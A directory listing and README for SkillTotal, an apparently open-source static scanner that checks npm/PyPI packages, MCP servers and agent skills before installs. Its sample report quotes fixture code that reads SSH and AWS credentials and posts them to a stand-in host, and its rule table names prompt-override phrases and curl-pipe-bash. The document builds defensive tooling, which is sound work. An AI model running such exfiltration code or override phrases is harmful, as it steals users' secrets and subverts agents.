SkillTotal MCP server
Commit Nov 14, 2026Scans npm and PyPI packages, MCP servers, skills, and repos for security risks and blocks unsafe installs before an agent runs them.
Also known as pezhik/skilltotal
- Stars
- 16
- Tools
- 3
- Downloads, 30 days
- 6,150
- Latest version
- 1.2.0
- Last commit
- Nov 14, 2026
- License
- Apache-2.0
What is SkillTotal MCP?
SkillTotal scans npm and PyPI packages, MCP servers, skills, and repos for security risks and blocks unsafe installs before an agent runs them. It exposes 3 tools, such as scan_component, diff_components, list_rules.
Summary generated from the project's README
About SkillTotal MCP server
Protecting coding agents from malicious dependencies is the primary function of SkillTotal. It acts as a static security scanner that inspects npm and PyPI packages, MCP servers, agent skills, and repositories to identify security risks. By analyzing code without executing it, the tool prevents unsafe installations before an agent can run them on your machine.
Developers can use this tool locally via a CLI or integrate it into workflows using a Claude Code plugin and GitHub Actions. It is designed for privacy and speed, running entirely on your machine without requiring an account, API keys, or an LLM. The engine uses regex and AST matching to provide consistent results, ensuring every finding includes a specific file and line number for easy auditing.
SkillTotal is unique because it correlates different behaviors, such as flagging a credential read that is followed by network egress. It covers a wide range of threats including shell execution, filesystem access, sensitive path exposure, and even prompt injection risks within agent-facing text.
What you can do with it
- 1Automating security in CIAutomatically fail pull requests that introduce high-risk dependencies into a codebase.
- 2Auditing local componentsScan all installed MCP servers and VS Code extensions on a machine for vulnerabilities.
- 3Reviewing dependency upgradesVerify that a new version of a package does not introduce new security findings before merging.
Written from the project's README. Every use case is checked against a quote from it.
How to install SkillTotal MCP
Formats verified 10 Nov 2026Add to CursorAdd to GooseInstall SkillTotal MCP in Claude Code
$ claude mcp add skilltotal -- uvx skilltotal mcpInstall SkillTotal MCP in Cursor
~/.cursor/mcp.json
{
"mcpServers": {
"skilltotal": {
"command": "uvx",
"args": [
"skilltotal",
"mcp"
]
}
}
}Install SkillTotal MCP in VS Code
.vscode/mcp.json
{
"servers": {
"skilltotal": {
"type": "stdio",
"command": "uvx",
"args": [
"skilltotal",
"mcp"
]
}
}
}Install SkillTotal MCP in VS Code CLI
$ code --add-mcp '{"name":"skilltotal","type":"stdio","command":"uvx","args":["skilltotal","mcp"]}'Install SkillTotal MCP in Claude Desktop
claude_desktop_config.json
{
"mcpServers": {
"skilltotal": {
"command": "uvx",
"args": [
"skilltotal",
"mcp"
]
}
}
}Install SkillTotal MCP in Codex
$ codex mcp add skilltotal -- uvx skilltotal mcpInstall SkillTotal MCP in Codex config.toml
~/.codex/config.toml
[mcp_servers.skilltotal] command = "uvx" args = ["skilltotal", "mcp"]
Install SkillTotal MCP in Gemini CLI
$ gemini mcp add -s user skilltotal uvx -- skilltotal mcpInstall SkillTotal MCP in Gemini settings.json
~/.gemini/settings.json
{
"mcpServers": {
"skilltotal": {
"command": "uvx",
"args": [
"skilltotal",
"mcp"
]
}
}
}Started by HostedMCP on 16 Nov 2026
We ran this command for skilltotal 1.2.0 in an isolated container with no network and no keys. It answered and listed 3 tools.
SkillTotal MCP tools 3
Read from the server with tools/listscan_componentRead-onlyStatically scan an AI component (agent skill, MCP server, npm/PyPI package, repository, local path or archive) for supply-chain risks, dangerous capabilities, prompt-injection surfaces, and exfiltration paths. Use this BEFORE installing or trusting a component. The scan is local, deterministic, and never executes the component's code. A local path is read in place; a git URL or npm:/pypi:/vscode:/openvsx: source is downloaded to a temp folder that is removed afterwards. A source over the size limit is refused with an error naming the setting that raises it. Decide on the verdict (level, headline, has_malicious_indicators), not on the number of findings: a finding whose threat_class is "capability" is something the component can do (run commands, read files, reach the network) and adds no risk; malicious_indicator and risky_construct findings are what the verdict and score rest on. Not checked: the code of the component's dependencies, known vulnerabilities (CVEs), and runtime behaviour. The default summary is a JSON object: component, verdict {level, headline, has_malicious_indicators}, decision (one line), risk_score, risk_level, why [{rule, threat_class, severity, title, evidence ["file:line snippet"]}] (risk findings first), capabilities [names], counts {findings_by_threat_class, needs_review}, check_manually [notes to read], not_checked [what this scan does not cover], engine {version, ruleset}. Pass detail="full" for the complete report.
diff_componentsRead-onlyCompare two versions of a component and report what changed. Use for upgrade reviews (is the new version riskier than the one already vetted?). Both sides accept the same sources as scan_component. The default summary gives each side's verdict, the verdict change, the risk-score delta, new and removed risk findings (in scan_component's why shape) and capability changes; detail="full" returns the complete diff with every new/resolved/changed finding. Decide on the verdict (level, headline, has_malicious_indicators), not on the number of findings: a finding whose threat_class is "capability" is something the component can do (run commands, read files, reach the network) and adds no risk; malicious_indicator and risky_construct findings are what the verdict and score rest on. Not checked: the code of the component's dependencies, known vulnerabilities (CVEs), and runtime behaviour.
list_rulesRead-onlyList SkillTotal detection rules: id, severity, category, title, threat class and capability. Use it to look up a rule id from a scan_component or diff_components result, or to see what SkillTotal checks before scanning. It reads the rule list bundled with this engine: offline, instant, no side effects. With no arguments it returns every rule. ids and query narrow the list and combine (a rule must match both); no match returns an empty array []. Pass verbose=true for each rule's description and recommendation.
Automated checks
Ran Nov 16, 2026Full report →Not verified yet. A server needs a score of 80, no serious finding, and enough data for us to check. How checks work · What to fix for more points
- Source repository linked and reachablepezhik/skilltotal is public and reachablegithub.com/pezhik/skilltotal ↗Pass
- Package names this repository as its sourceskilltotal names pezhik/skilltotal as sourcepypi.org/project/skilltotal/ ↗Pass
- Build provenance (Sigstore attestation)Sigstore attestation for skilltotalpypi.org/project/skilltotal/ ↗Pass
- Open source license (OSI)Apache-2.0spdx.org/licenses/Apache-2.0.html ↗Pass
- Commit or release in the last yearLast commit or release 2026-11-16github.com/pezhik/skilltotal ↗Pass
- OpenSSF ScorecardOpenSSF Scorecard 7.2 / 10; weakest: Code-Review 0, CII-Best-Practices 0, Fuzzing 0scorecard.dev/viewer/?uri=github.com/pezhik/skilltotal ↗Pass
- Package name not close to a popular packageNo popular package one edit away from skilltotalPass
- No critical advisory in the package or its dependenciesthe package checked; no critical advisoryosv.dev ↗Pass
- No hidden instructions to the modelInstruction aimed at the model found in the README or listing descriptionFinding
- Destructive tools are labelledNo tool named like delete, drop or execPass
- Remote endpoint answers the MCP handshakeNot checked
README
View on GitHubQuick start
pipx install skilltotal
skilltotal scan npm:express # or pypi:name, a git URL, a folder, an archive
Check what your coding agent installs. Inside Claude Code:
/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins
Gate pull requests. Add one step to a workflow (full example with permissions):
- uses: pezhik/skilltotal@v1.0.0
with: { source: ., fail-on: high }
To try it without installing anything, www.skilltotal.ai runs the same engine.
Choose your path
| You want to | Start here |
|---|---|
| Check packages before Claude Code installs them | Claude Code plugin |
| Check packages before another agent installs them | Agent hooks, each with a support tier, or the MCP server and guard |
Scan a package, repository, folder, archive, .vsix, .mcpb or wheel yourself |
skilltotal scan |
| Gate pull requests in CI | GitHub Action and other CI |
| Adopt it on a repository that already has findings | Rolling out with a baseline |
| Review a dependency upgrade before you merge it | diff --fail-on-new |
| Check the MCP servers, plugins, skills and editor extensions installed on your machine every day | Installed components |
| Run that check on a company fleet, feed a SIEM, export an AI-BOM | Running it on a fleet |
| Accept a false positive | Accepting findings |
| Scan through a company registry mirror | Registry mirrors |
What it catches
It scans npm and PyPI packages, MCP servers, agent skills and plugins, VS Code extensions, git
repositories (or one folder of them), local folders, archives (including .mcpb, .vsix and
wheels) and single files, and looks for:
| Category | Examples |
|---|---|
| Shell execution | subprocess.*, os.system, child_process.exec, curl … | bash handed to a shell call |
| Filesystem access | open, read_text/write_text, fs.readFile/writeFile |
| Sensitive paths | ~/.ssh, ~/.aws, .env, id_rsa, credentials, secrets |
| Network egress | requests, urllib, aiohttp, fetch, axios |
| Install-time execution | npm preinstall/postinstall/prepare, setup.py hooks, a lifecycle script that downloads or decodes code and runs it |
| Dynamic code execution | eval, exec, compile, new Function, vm.runInNewContext |
| Obfuscation | decode-and-execute chains, base64 blobs, hex escaping, minification |
| MCP risks | manifests, dangerous tools (shell/fs/network/credential), server commands |
| Prompt surface | "ignore previous instructions", "reveal system prompt", exfiltration phrasing |
| Post-exploitation | reverse tunnels and shells, planted SSH keys, autostart persistence, antivirus or Gatekeeper evasion, host beacons |
It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and
data flows such as a credential read followed by network egress. skilltotal rules list prints
every rule; coverage by component type and accuracy notes are in docs/detection.md.
$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source : tests/fixtures/malicious_npm_pkg
Verdict : HIGH - High risk - review before installing
Risk : HIGH (score 70/100)
Findings (3 risk, 4 capability, not scored):
[CRITICAL] ST-COMBO-EXFIL Sensitive-data access combined with network egress
Evidence:
- index.js:7
const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
- steal.js:3
const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
- index.js:13
fetch('http://evil.example/collect', { method: 'POST', body: key });
... and 1 more (all of them in --json)
[HIGH] ST-INSTALL-DROPPER Install-time hook paired with a dropper payload
Evidence:
- package.json:6
"postinstall": "node steal.js"
...
Shortened. The full report also prints descriptions, recommendations, capabilities and review items.
Why SkillTotal
- The Claude Code plugin checks each
npx,npm install,pip installorclaude mcp addcommand before the agent runs it. - Scans run on your machine with no account, API token, upload or telemetry, and SkillTotal never
runs the code it reads. The exception is the agent hooks' lockfile lookup: public package names
and versions go to OSV, and
SKILLTOTAL_OSV=0turns that off (Network access). - Detection is regex and AST matching with no LLM, so the same input on the same Python version gives the same findings and score. Every finding cites a file and line, and recall and precision are published.
- Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.
- Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.
- It is open source (Apache-2.0), and the full static report is free, forever.
How it works
SkillTotal fetches the component (a shallow git clone or the package archive), reads every file
once and runs its scanners over them. It correlates the findings (a credential read plus network
egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the
component's own files, never at the user, company, environment, deployment or runtime context.
Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be
tied to evidence goes to needs_review, which never affects the score. A capability such as shell
or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.
Claude Code plugin
Before an install command runs, the plugin scans each package it names, locally and with the same
engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar
installs, claude mcp add (and the Codex and Gemini equivalents), claude plugin install,
code --install-extension and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first
(skilltotal --version must work where you start Claude Code), then run the three commands from
Quick start.
| The scan finds | What happens to the install |
|---|---|
| Malicious indicators | Denied. The agent is told the finding and its file:line |
| High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time) | Claude Code asks you |
| Nothing of that kind | It installs. The agent gets a one-line note with the version checked and its score |
| Anything it would ask about, in CI | Denied: CI is fail-closed (see below) |
Each install command gets a console line saying what was checked, or what was not and why. In CI
(CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer,
so anything it would ask about is denied. Installs it could not check are denied too, unless
SKILLTOTAL_ALLOW_UNCHECKED lists their kind.
It does not scan the dependencies of the named package, the code of installs that name no package
(npm ci, pip install -r, uv sync: their lockfile is only looked up in OSV, and the console
says what was and was not covered), scripts on disk, shell-profile aliases or functions, downloaded
scripts (curl ... | bash, reported as not checked), repositories fetched with git clone, or code
already running on your account (it can rewrite the verdict cache or the CLI). Updates that install
themselves, such as an editor extension or an npx -y server that runs its latest release, run no
install command. The plugin's sentinel
scans what changed at session start and tells the agent at the next one. The plugin has no
override for a denied install, and it is a static check, not a sandbox: run the agent in a
container for code you don't trust. It also adds a /skilltotal:scan <target> command and registers the SkillTotal MCP server.
Recognized commands, settings, cache, timing, team rollout
and troubleshooting are in docs/plugin.md.
Other agents
skilltotal hook install adds the same check to other agents, leaving their other hooks alone. An
agent that cannot ask you gets a denial that says how to go ahead.
| Agent | Tier |
|---|---|
| Claude Code | verified against Claude Code 2.1.316 on 2026-10-31 |
| Gemini CLI | hook tested in Gemini CLI 0.45.2 on 2026-10-31 with a stand-in model; not yet run with a live model |
| Cursor, Windsurf, Devin, Codex, VS Code Copilot | preview: built to the agent's documented hook format, not yet run in the agent |
docs/agent-hooks.md has what each one can and cannot see, and the managed templates for a fleet.
CI / GitHub Action
Run SkillTotal in CI and see the findings in your repository's Security → Code scanning tab:
add the step from Quick start to a workflow
with security-events: write (full workflow).
A malicious indicator fails the job at any severity; a capability on its own, such as a shell call
or network access, never does. The log names the gate that tripped and the finding behind it.
Findings are uploaded as SARIF. A private repository has Code Scanning only with GitHub Advanced
Security; without it, set upload-sarif: 'false'. comment-on-pr: 'true' (with
pull-requests: write) keeps one summary comment up to date. The repository's .skilltotal.toml
is applied, so put it under CODEOWNERS (Configuration).
docs/ci.md covers every input and
output, scheduled re-checks of a third-party package, upgrade reviews, pre-commit, GitLab CI,
Jenkins and rolling out on an existing repository. Anywhere else Python 3.10+ runs, install a pinned release and gate
on the exit code (0 passed, 2 a gate tripped, 1 the scan could not run):
pip install skilltotal==1.0.0 # in a virtual environment outside the checkout
skilltotal scan . --fail-on high
CLI
skilltotal scan ./path/to/component # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./downloads/some-extension.vsix # also .mcpb, .dxt and .whl files
skilltotal scan vscode:publisher.name # an editor extension by id (openvsx: for Open VSX)
skilltotal scan ./component --json # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:some-lib@1.2.3 npm:some-lib@1.2.4 --fail-on-new high
skilltotal guard npm:some-mcp-server # exit 2 if it should not be installed
skilltotal guard --installed # the MCP servers, plugins, skills and editor extensions installed here
skilltotal guard --installed --state ~/.skilltotal-state.json # also catch risk gained in an update
skilltotal inventory --sbom # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list
With no gate flag and no gate in a .skilltotal.toml, scan exits 0 whatever it finds, even for
a malicious verdict. In a script, use skilltotal guard or a gate (--fail-on) and check the
exit code. Every command, flag, exit code and gate is in the
CLI reference; a daily check of what
is installed, with cron, launchd or Task Scheduler, is in
Installed components.
MCP server
skilltotal mcp runs the engine as a stdio MCP server so your agent can check a component before
installing it. The Claude Code plugin already registers it. In Claude Code without the plugin:
claude mcp add skilltotal -- skilltotal mcp
For Claude Desktop, Cursor, Windsurf or any client that reads mcpServers:
{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }
It has three read-only tools: scan_component (a local path, git URL, npm:, pypi:, vscode:
or openvsx: source), diff_components (what changed between two versions) and list_rules. VS Code, the uvx/npx
forms and the path rules are in docs/mcp-server.md.
Install
Requires Python 3.10+, with zero runtime dependencies. git is needed only for scanning
remote URLs and for scan --staged. Scanning inside a directory you don't trust, installing on
an offline machine and other install details are in docs/cli.md.
pipx install skilltotal # recommended for the CLI; then `pipx ensurepath` if it is not found
pip install skilltotal # into a virtual environment, or to use it as a library
With npx (it needs uv, pipx, or Python 3.11+ with skilltotal installed), name the release with
--package so npx does not run a skilltotal from the scanned repository's node_modules/.bin:
npx -y --package=skilltotal@1.0.0 -- skilltotal scan https://github.com/owner/repo
Measured, not asserted
- Detection efficacy: recall and precision on a labeled corpus we built and publish (229 malicious and 193 benign samples), regenerated every release and enforced by CI as a floor. A perfect score on our own corpus guards against regressions; it is not a claim about every attack in the wild. Each rule behind the survey's OWASP class counts also has labeled samples of its own, listed in the report's rule coverage table.
- The MCP registry, scanned (September 2026, engine 0.49.0, rulesets 56 to 59; later rule changes are not reflected): 15,341 of the 17,535 distinct components in the official registry (87.5%). Of those scanned, 88.2% expose tools to an agent, 64.8% can reach the network and 21.1% can execute shell commands. Still, all but 116 of them score low risk, because a capability on its own scores zero. Before this run we read every malicious-indicator hit from an earlier run by hand and fixed the false positives. Aggregates (JSON) · the harness.
Limitations
- Files over 2 MiB are not read. Minified JavaScript/TypeScript bundles are listed but not
analyzed, except the scripts npm runs at install and the entry points a
package.jsonnames. A VS Code extension's entry points are read up to 8 MiB. A low verdict over unread code reads "Partially analyzed". - Dependencies are not scanned.
node_modules/,vendor/and virtual environments are skipped. - Code fetched or generated at run time is not analyzed, nor are binaries and compiled artifacts.
- Languages. Shell execution, network access, file access and dynamic code are analyzed in Python and JavaScript/TypeScript. Shell, PowerShell and batch scripts are checked for download-and-run, decode-and-run, evasion and post-exploitation idioms. Other languages get only the secret, sensitive-path and hidden-Unicode checks.
- The default gate does not count unread code, and unread code never passes in silence: the
log names it (
Not everything was analyzed: ...), the verdict reads "Partially analyzed", and--fail-on-unanalyzedfails on it. That covers files too large to read, minified bundles, code in languages not analyzed for behavior, and compiled code shipped without its source (a.pyc,.pyoor.classwith no.pyor.javaof the same name beside it). - Detection is at the call/import level. A capability shows the code is there, not that it is misused. SkillTotal does not replace a sandbox, a penetration test or a manual code review.
For how the four bypasses published in June 2026 fare against this engine, see What we catch. The full list is in docs/detection.md.
Configuration
Commit a .skilltotal.toml instead of repeating flags: gate levels, excludes, ignored rules, a
baseline file and per-rule block / warn / ignore policy. scan reads all of it and diff
reads the excludes and ignored rules; guard and inventory read none
(docs/configuration.md).
Limits and registry mirrors are set with SKILLTOTAL_* environment variables.
To accept a reviewed finding, add an inline skilltotal:ignore[ST-ID] comment (local folders
only, never for a malicious indicator), record it in a baseline, or, for guard and scheduled
sweeps of installed components, list it in an accept file (--accept FILE: one component at one
exact version, with a reason). Accepting findings
compares them. In CI the scanned repository's own config and markers apply, so put
.skilltotal.toml and the baseline under CODEOWNERS with branch protection.
SkillTotal MCP questions
How do I add SkillTotal MCP to Claude Code?
Run claude mcp add skilltotal -- uvx skilltotal mcp in your terminal. Add --scope user to make it available in every project.
How do I add SkillTotal MCP to Cursor?
Open ~/.cursor/mcp.json and add the server under mcpServers, using the Cursor config shown in the install section above.
What tools does SkillTotal MCP provide?
It exposes 3 tools, including scan_component, diff_components, list_rules.
Does SkillTotal run the code it scans?
No. It performs static analysis only, reading files without executing any of the scanned code.
What package sources can SkillTotal scan?
It scans npm and PyPI packages, MCP servers, agent skills, VS Code extensions, git repositories, folders, archives, and single files.
Can SkillTotal block installs in Claude Code?
Yes. A Claude Code plugin scans each install command's packages and denies the install when malicious indicators are found.
Does SkillTotal send data to a server?
Scans run locally with no account, token, upload, or telemetry, though agent hooks send public package names and versions to OSV unless disabled.
Is the same input guaranteed to produce the same result?
Yes. Detection uses regex and AST matching with no LLM, so identical input yields identical findings and scores.